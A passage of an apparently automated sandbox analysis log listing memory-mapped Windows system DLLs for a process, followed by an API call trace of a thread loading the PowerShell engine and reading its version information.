	            name = "private_0x0000000004ae0000"
	        filename = ""

Region:
	              id = 739
	        start_va = 0x4ee0000
	          end_va = 0x51b1fff
	     entry_point = 0x4ee0000
	     region_type = mapped_file
	            name = "system.data.dll"
	        filename = "\\Windows\\assembly\\GAC_32\\System.Data\\2.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\assembly\\gac_32\\system.data\\2.0.0.0__b77a5c561934e089\\system.data.dll")

Region:
	              id = 740
	        start_va = 0x51c0000
	          end_va = 0x51c0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000051c0000"
	        filename = ""

Region:
	              id = 741
	        start_va = 0x64e70000
	          end_va = 0x65141fff
	     entry_point = 0x64e70000
	     region_type = mapped_file
	            name = "system.data.dll"
	        filename = "\\Windows\\assembly\\GAC_32\\System.Data\\2.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\assembly\\gac_32\\system.data\\2.0.0.0__b77a5c561934e089\\system.data.dll")

Region:
	              id = 742
	        start_va = 0x6c780000
	          end_va = 0x6cdd0fff
	     entry_point = 0x6c780000
	     region_type = mapped_file
	            name = "system.data.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data\\1e85062785e286cd9eae9c26d2c61f73\\System.Data.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.data\\1e85062785e286cd9eae9c26d2c61f73\\system.data.ni.dll")

Region:
	              id = 743
	        start_va = 0x75af0000
	          end_va = 0x75b24fff
	     entry_point = 0x75af0000
	     region_type = mapped_file
	            name = "ws2_32.dll"
	        filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll")

Region:
	              id = 744
	        start_va = 0x76260000
	          end_va = 0x7637cfff
	     entry_point = 0x76260000
	     region_type = mapped_file
	            name = "crypt32.dll"
	        filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll")

Region:
	              id = 745
	        start_va = 0x76470000
	          end_va = 0x7647bfff
	     entry_point = 0x76470000
	     region_type = mapped_file
	            name = "msasn1.dll"
	        filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll")

Region:
	              id = 746
	        start_va = 0x77bb0000
	          end_va = 0x77bb5fff
	     entry_point = 0x77bb0000
	     region_type = mapped_file
	            name = "nsi.dll"
	        filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll")

Region:
	              id = 747
	        start_va = 0x51d0000
	          end_va = 0x51dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000051d0000"
	        filename = ""

Region:
	              id = 748
	        start_va = 0x51e0000
	          end_va = 0x51e0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000051e0000"
	        filename = ""

Region:
	              id = 749
	        start_va = 0x6fa10000
	          end_va = 0x6fa6afff
	     entry_point = 0x6fa10000
	     region_type = mapped_file
	            name = "mscorjit.dll"
	        filename = "\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")

Region:
	              id = 750
	        start_va = 0x51f0000
	          end_va = 0x51fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000051f0000"
	        filename = ""

Region:
	              id = 751
	        start_va = 0x5200000
	          end_va = 0x520ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005200000"
	        filename = ""

Region:
	              id = 752
	        start_va = 0x5210000
	          end_va = 0x521ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005210000"
	        filename = ""

Region:
	              id = 753
	        start_va = 0x5220000
	          end_va = 0x522ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005220000"
	        filename = ""

Region:
	              id = 754
	        start_va = 0x5230000
	          end_va = 0x526ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005230000"
	        filename = ""

Region:
	              id = 755
	        start_va = 0x5270000
	          end_va = 0x5270fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000005270000"
	        filename = ""

Region:
	              id = 756
	        start_va = 0x5360000
	          end_va = 0x539ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005360000"
	        filename = ""

Region:
	              id = 757
	        start_va = 0x5520000
	          end_va = 0x5eaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005520000"
	        filename = ""

Region:
	              id = 758
	        start_va = 0x5e3a0000
	          end_va = 0x5e42cfff
	     entry_point = 0x5e3a0000
	     region_type = mapped_file
	            name = "diasymreader.dll"
	        filename = "\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\diasymreader.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\diasymreader.dll")

Region:
	              id = 759
	        start_va = 0x7efa1000
	          end_va = 0x7efa3fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efa1000"
	        filename = ""

Region:
	              id = 760
	        start_va = 0x53a0000
	          end_va = 0x549ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000053a0000"
	        filename = ""

Region:
	              id = 761
	        start_va = 0x5280000
	          end_va = 0x528ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005280000"
	        filename = ""

Region:
	              id = 762
	        start_va = 0x6c680000
	          end_va = 0x6c770fff
	     entry_point = 0x6c680000
	     region_type = mapped_file
	            name = "system.configuration.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.configuration\\bc09ad2d49d8535371845cd7532f9271\\system.configuration.ni.dll")

Region:
	              id = 763
	        start_va = 0x7ef40000
	          end_va = 0x7ef4ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef40000"
	        filename = ""

Region:
	              id = 764
	        start_va = 0x7ef50000
	          end_va = 0x7ef9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef50000"
	        filename = ""

Region:
	              id = 765
	        start_va = 0x6f650000
	          end_va = 0x6f664fff
	     entry_point = 0x6f650000
	     region_type = mapped_file
	            name = "rasman.dll"
	        filename = "\\Windows\\SysWOW64\\rasman.dll" (normalized: "c:\\windows\\syswow64\\rasman.dll")

Region:
	              id = 766
	        start_va = 0x6f9b0000
	          end_va = 0x6fa01fff
	     entry_point = 0x6f9b0000
	     region_type = mapped_file
	            name = "rasapi32.dll"
	        filename = "\\Windows\\SysWOW64\\rasapi32.dll" (normalized: "c:\\windows\\syswow64\\rasapi32.dll")

Region:
	              id = 767
	        start_va = 0x70b60000
	          end_va = 0x70b6cfff
	     entry_point = 0x70b60000
	     region_type = mapped_file
	            name = "rtutils.dll"
	        filename = "\\Windows\\SysWOW64\\rtutils.dll" (normalized: "c:\\windows\\syswow64\\rtutils.dll")

Region:
	              id = 768
	        start_va = 0x6ead0000
	          end_va = 0x6eb0bfff
	     entry_point = 0x6ead0000
	     region_type = mapped_file
	            name = "mswsock.dll"
	        filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll")

Region:
	              id = 769
	        start_va = 0x5eb0000
	          end_va = 0x5ffffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005eb0000"
	        filename = ""

Region:
	              id = 770
	        start_va = 0x6f640000
	          end_va = 0x6f644fff
	     entry_point = 0x6f640000
	     region_type = mapped_file
	            name = "wshtcpip.dll"
	        filename = "\\Windows\\SysWOW64\\WSHTCPIP.DLL" (normalized: "c:\\windows\\syswow64\\wshtcpip.dll")

Region:
	              id = 771
	        start_va = 0x6f630000
	          end_va = 0x6f635fff
	     entry_point = 0x6f630000
	     region_type = mapped_file
	            name = "wship6.dll"
	        filename = "\\Windows\\SysWOW64\\wship6.dll" (normalized: "c:\\windows\\syswow64\\wship6.dll")

Region:
	              id = 772
	        start_va = 0x5290000
	          end_va = 0x52affff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000005290000"
	        filename = ""

Region:
	              id = 773
	        start_va = 0x54c0000
	          end_va = 0x54fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000054c0000"
	        filename = ""

Region:
	              id = 774
	        start_va = 0x5f80000
	          end_va = 0x5fbffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005f80000"
	        filename = ""

Region:
	              id = 775
	        start_va = 0x5fc0000
	          end_va = 0x5ffffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005fc0000"
	        filename = ""

Region:
	              id = 776
	        start_va = 0x6c5d0000
	          end_va = 0x6c61efff
	     entry_point = 0x6c5d0000
	     region_type = mapped_file
	            name = "webio.dll"
	        filename = "\\Windows\\SysWOW64\\webio.dll" (normalized: "c:\\windows\\syswow64\\webio.dll")

Region:
	              id = 777
	        start_va = 0x6c620000
	          end_va = 0x6c677fff
	     entry_point = 0x6c620000
	     region_type = mapped_file
	            name = "winhttp.dll"
	        filename = "\\Windows\\SysWOW64\\winhttp.dll" (normalized: "c:\\windows\\syswow64\\winhttp.dll")

Region:
	              id = 778
	        start_va = 0x7ef3d000
	          end_va = 0x7ef3ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef3d000"
	        filename = ""

Region:
	              id = 779
	        start_va = 0x6eab0000
	          end_va = 0x6eacbfff
	     entry_point = 0x6eab0000
	     region_type = mapped_file
	            name = "iphlpapi.dll"
	        filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll")

Region:
	              id = 780
	        start_va = 0x6eaa0000
	          end_va = 0x6eaa6fff
	     entry_point = 0x6eaa0000
	     region_type = mapped_file
	            name = "winnsi.dll"
	        filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll")

Region:
	              id = 781
	        start_va = 0x6000000
	          end_va = 0x60fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006000000"
	        filename = ""

Region:
	              id = 782
	        start_va = 0x6ea90000
	          end_va = 0x6ea9cfff
	     entry_point = 0x6ea90000
	     region_type = mapped_file
	            name = "dhcpcsvc6.dll"
	        filename = "\\Windows\\SysWOW64\\dhcpcsvc6.dll" (normalized: "c:\\windows\\syswow64\\dhcpcsvc6.dll")

Region:
	              id = 783
	        start_va = 0x6c5b0000
	          end_va = 0x6c5c1fff
	     entry_point = 0x6c5b0000
	     region_type = mapped_file
	            name = "dhcpcsvc.dll"
	        filename = "\\Windows\\SysWOW64\\dhcpcsvc.dll" (normalized: "c:\\windows\\syswow64\\dhcpcsvc.dll")

Region:
	              id = 784
	        start_va = 0x6c5a0000
	          end_va = 0x6c5a7fff
	     entry_point = 0x6c5a0000
	     region_type = mapped_file
	            name = "credssp.dll"
	        filename = "\\Windows\\SysWOW64\\credssp.dll" (normalized: "c:\\windows\\syswow64\\credssp.dll")

Region:
	              id = 785
	        start_va = 0x52d0000
	          end_va = 0x530ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000052d0000"
	        filename = ""

Region:
	              id = 786
	        start_va = 0x6160000
	          end_va = 0x619ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006160000"
	        filename = ""

Region:
	              id = 787
	        start_va = 0x6bd70000
	          end_va = 0x6bdb3fff
	     entry_point = 0x6bd70000
	     region_type = mapped_file
	            name = "dnsapi.dll"
	        filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll")

Region:
	              id = 788
	        start_va = 0x7ef3a000
	          end_va = 0x7ef3cfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef3a000"
	        filename = ""

Region:
	              id = 789
	        start_va = 0x61a0000
	          end_va = 0x634ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000061a0000"
	        filename = ""

Region:
	              id = 790
	        start_va = 0x6bd60000
	          end_va = 0x6bd65fff
	     entry_point = 0x6bd60000
	     region_type = mapped_file
	            name = "rasadhlp.dll"
	        filename = "\\Windows\\SysWOW64\\rasadhlp.dll" (normalized: "c:\\windows\\syswow64\\rasadhlp.dll")

Region:
	              id = 791
	        start_va = 0x6bd20000
	          end_va = 0x6bd57fff
	     entry_point = 0x6bd20000
	     region_type = mapped_file
	            name = "fwpuclnt.dll"
	        filename = "\\Windows\\SysWOW64\\FWPUCLNT.DLL" (normalized: "c:\\windows\\syswow64\\fwpuclnt.dll")

Region:
	              id = 792
	        start_va = 0x5eb0000
	          end_va = 0x5f0ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005eb0000"
	        filename = ""

Region:
	              id = 793
	        start_va = 0x5f10000
	          end_va = 0x5f4ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005f10000"
	        filename = ""

Region:
	              id = 794
	        start_va = 0x6270000
	          end_va = 0x62affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006270000"
	        filename = ""

Region:
	              id = 795
	        start_va = 0x6310000
	          end_va = 0x634ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006310000"
	        filename = ""

Region:
	              id = 796
	        start_va = 0x755d0000
	          end_va = 0x7562efff
	     entry_point = 0x755d0000
	     region_type = mapped_file
	            name = "sxs.dll"
	        filename = "\\Windows\\SysWOW64\\sxs.dll" (normalized: "c:\\windows\\syswow64\\sxs.dll")

Region:
	              id = 797
	        start_va = 0x7ef37000
	          end_va = 0x7ef39fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef37000"
	        filename = ""

Region:
	              id = 798
	        start_va = 0x74410000
	          end_va = 0x7441dfff
	     entry_point = 0x74410000
	     region_type = mapped_file
	            name = "rpcrtremote.dll"
	        filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll")

Region:
	              id = 799
	        start_va = 0x61b0000
	          end_va = 0x61effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000061b0000"
	        filename = ""

Region:
	              id = 800
	        start_va = 0x61f0000
	          end_va = 0x622ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000061f0000"
	        filename = ""

Region:
	              id = 801
	        start_va = 0x6350000
	          end_va = 0x638ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006350000"
	        filename = ""

Region:
	              id = 802
	        start_va = 0x64c0000
	          end_va = 0x64fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000064c0000"
	        filename = ""

Region:
	              id = 803
	        start_va = 0x7ef31000
	          end_va = 0x7ef33fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef31000"
	        filename = ""

Region:
	              id = 804
	        start_va = 0x7ef34000
	          end_va = 0x7ef36fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef34000"
	        filename = ""

Region:
	              id = 805
	        start_va = 0x52b0000
	          end_va = 0x52c2fff
	     entry_point = 0x52b0000
	     region_type = mapped_file
	            name = "shell32.dll"
	        filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")

Region:
	              id = 806
	        start_va = 0x5310000
	          end_va = 0x5313fff
	     entry_point = 0x5310000
	     region_type = mapped_file
	            name = "cversions.2.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db")

Region:
	              id = 807
	        start_va = 0x5320000
	          end_va = 0x534ffff
	     entry_point = 0x5320000
	     region_type = mapped_file
	            name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000a.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000a.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000a.db")

Region:
	              id = 808
	        start_va = 0x5350000
	          end_va = 0x5353fff
	     entry_point = 0x5350000
	     region_type = mapped_file
	            name = "cversions.2.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db")

Region:
	              id = 809
	        start_va = 0x6100000
	          end_va = 0x613ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006100000"
	        filename = ""

Region:
	              id = 810
	        start_va = 0x63d0000
	          end_va = 0x640ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000063d0000"
	        filename = ""

Region:
	              id = 811
	        start_va = 0x6410000
	          end_va = 0x6475fff
	     entry_point = 0x6410000
	     region_type = mapped_file
	            name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db")

Region:
	              id = 812
	        start_va = 0x709b0000
	          end_va = 0x709ddfff
	     entry_point = 0x709b0000
	     region_type = mapped_file
	            name = "shdocvw.dll"
	        filename = "\\Windows\\SysWOW64\\shdocvw.dll" (normalized: "c:\\windows\\syswow64\\shdocvw.dll")

Region:
	              id = 813
	        start_va = 0x7ef2e000
	          end_va = 0x7ef30fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef2e000"
	        filename = ""

Region:
	              id = 814
	        start_va = 0x75870000
	          end_va = 0x759a5fff
	     entry_point = 0x75870000
	     region_type = mapped_file
	            name = "urlmon.dll"
	        filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll")

Region:
	              id = 815
	        start_va = 0x772c0000
	          end_va = 0x773b4fff
	     entry_point = 0x772c0000
	     region_type = mapped_file
	            name = "wininet.dll"
	        filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll")

Region:
	              id = 816
	        start_va = 0x77450000
	          end_va = 0x7764afff
	     entry_point = 0x77450000
	     region_type = mapped_file
	            name = "iertutil.dll"
	        filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll")

Region:
	              id = 903
	        start_va = 0x54a0000
	          end_va = 0x54a0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000054a0000"
	        filename = ""

Region:
	              id = 904
	        start_va = 0x6bce0000
	          end_va = 0x6bd16fff
	     entry_point = 0x6bce0000
	     region_type = mapped_file
	            name = "system.serviceprocess.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceProce#\\20008c75bb41e2febf84d4d4aea5b4e8\\System.ServiceProcess.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.serviceproce#\\20008c75bb41e2febf84d4d4aea5b4e8\\system.serviceprocess.ni.dll")


Thread:
	id = 28
	os_tid = 0x964

	[0078.703] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
	[0078.877] SysStringByteLen (bstr="Microsoft.PowerShell.ConsoleHost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=msil") returned 0xfe
	[0078.877] SysStringByteLen (bstr="Microsoft.PowerShell.ConsoleHost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=msil") returned 0xfe
	[0078.877] SysStringByteLen (bstr="Microsoft.PowerShell.UnmanagedPSEntry") returned 0x4a
	[0078.877] SysStringByteLen (bstr="Microsoft.PowerShell.UnmanagedPSEntry") returned 0x4a
	[0079.650] GetVersionExW (in: lpVersionInformation=0x617f68*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x617f68*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
	[0079.650] GetLastError () returned 0x2
	[0079.651] GetVersionExW (in: lpVersionInformation=0x617f68*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x617f68*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
	[0079.651] GetLastError () returned 0x2
	[0079.656] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xeea0c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0079.656] GetLastError () returned 0x2
	[0079.672] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xeea28, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0079.672] GetLastError () returned 0x2
	[0079.672] GetVersionExW (in: lpVersionInformation=0x617f68*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x617f68*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
	[0079.672] GetLastError () returned 0x2
	[0079.673] SetErrorMode (uMode=0x1) returned 0x1
	[0079.674] GetFileAttributesExW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0xeeea8 | out: lpFileInformation=0xeeea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85ac0a8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa85ac0a8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa85d2208, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2df000)) returned 1
	[0079.674] GetLastError () returned 0x2
	[0079.674] SetErrorMode (uMode=0x1) returned 0x1
	[0079.682] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0xeef2c | out: lpdwHandle=0xeef2c) returned 0x94c
	[0079.693] GetLastError () returned 0x0
	[0079.694] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x29753ac | out: lpData=0x29753ac) returned 1
	[0079.699] VerQueryValueW (in: pBlock=0x29753ac, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xeeef8, puLen=0xeeef4 | out: lplpBuffer=0xeeef8*=0x2975448, puLen=0xeeef4) returned 1
	[0079.701] lstrlenW (lpString="䅁") returned 1
	[0079.710] VerQueryValueW (in: pBlock=0x29753ac, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0xeee74, puLen=0xeee70 | out: lplpBuffer=0xeee74*=0x2975524, puLen=0xeee70) returned 1
	[0079.710] lstrlenW (lpString="Microsoft Corporation") returned 21
	[0079.711] lstrcpyW (in: lpString1=0x617f50, lpString2="Microsoft Corporation" | out: lpString1="Microsoft Corporation") returned="Microsoft Corporation"
	[0079.712] VerQueryValueW (in: pBlock=0x29753ac, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0xeee74, puLen=0xeee70 | out: lplpBuffer=0xeee74*=0x2975578, puLen=0xeee70) returned 1
	[0079.712] lstrlenW (lpString="System.Management.Automation") returned 28
	[0079.712] lstrcpyW (in: lpString1=0x617f50, lpString2="System.Management.Automation" | out: lpString1="System.Management.Automation") returned="System.Management.Automation"
	[0079.712] VerQueryValueW (in: pBlock=0x29753ac, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0xeee74, puLen=0xeee70 | out: lplpBuffer=0xeee74*=0x29755d4, puLen=0xeee70) returned 1
	[0079.712] lstrlenW (lpString="6.1.7601.17514") returned 14
	[0079.712] lstrcpyW (in: lpString1=0x617f50, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514"
	[0079.712] VerQueryValueW (in: pBlock=0x29753ac, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0xeee74, puLen=0xeee70 | out: lplpBuffer=0xeee74*=0x2975614, puLen=0xeee70) returned 1
	[0079.712] lstrlenW (lpString="System.Management.Automation.dll") returned 32
	[0079.712] lstrcpyW (in: lpString1=0x617f50, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll"
	[0079.712] VerQueryValueW (in: pBlock=0x29753ac, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0xeee74, puLen=0xeee70 | out: lplpBuffer=0xeee74*=0x297567c, puLen=0xeee70) returned 1
	[0079.712] lstrlenW (lpString="Copyright (c) Microsoft Corporation. All rights reserved.") returned 57
	[0079.712] lstrcpyW (in: lpString1=0x617f50, lpString2="Copyright (c) Microsoft Corporation. All rights reserved." | out: lpString1="Copyright (c) Microsoft Corporation. All rights reserved.") returned="Copyright (c) Microsoft Corporation. All rights reserved."
	[0079.712] VerQueryValueW (in: pBlock=0x29753ac, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0xeee74, puLen=0xeee70 | out: lplpBuffer=0xeee74*=0x2975718, puLen=0xeee70) returned 1
	[0079.712] lstrlenW (lpString="System.Management.Automation.dll") returned 32
	[0079.712] lstrcpyW (in: lpString1=0x617f50, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll"
	[0079.712] VerQueryValueW (in: pBlock=0x29753ac, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0xeee74, puLen=0xeee70 | out: lplpBuffer=0xeee74*=0x297577c, puLen=0xeee70) returned 1
	[0079.712] lstrlenW (lpString="Microsoft (R) Windows (R) Operating System") returned 42
	[0079.712] lstrcpyW (in: lpString1=0x617f50, lpString2="Microsoft (R) Windows (R) Operating System" | out: lpString1="Microsoft (R) Windows (R) Operating System") returned="Microsoft (R) Windows (R) Operating System"
	[0079.713] VerQueryValueW (in: pBlock=0x29753ac, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0xeee74, puLen=0xeee70 | out: lplpBuffer=0xeee74*=0x29757f8, puLen=0xeee70) returned 1
	[0079.713] lstrlenW (lpString="6.1.7601.17514") returned 14
	[0079.713] lstrcpyW (in: lpString1=0x617f50, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514"
	[0079.713] VerQueryValueW (in: pBlock=0x29753ac, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0xeee74, puLen=0xeee70 | out: lplpBuffer=0xeee74*=0x29754a0, puLen=0xeee70) returned 1
	[0079.713] lstrlenW (lpString="Microsoft Windows PowerShell Engine Core Assembly") returned 49
	[0079.713] lstrcpyW (in: lpString1=0x617f50, lpString2="Microsoft Windows PowerShell Engine Core Assembly" | out: lpString1="Microsoft Windows PowerShell Engine Core Assembly") returned="Microsoft Windows PowerShell Engine Core Assembly"
	[0079.713] VerQueryValueW (in: pBlock=0x29753ac, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0xeee74, puLen=0xeee70 | out: lplpBuffer=0xeee74*=0x0, puLen=0xeee70) returned 0
	[0079.713] VerQueryValueW (in: pBlock=0x29753ac, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0xeee74, puLen=0xeee70 | out: lplpBuffer=0xeee74*=0x0, puLen=0xeee70) returned 0
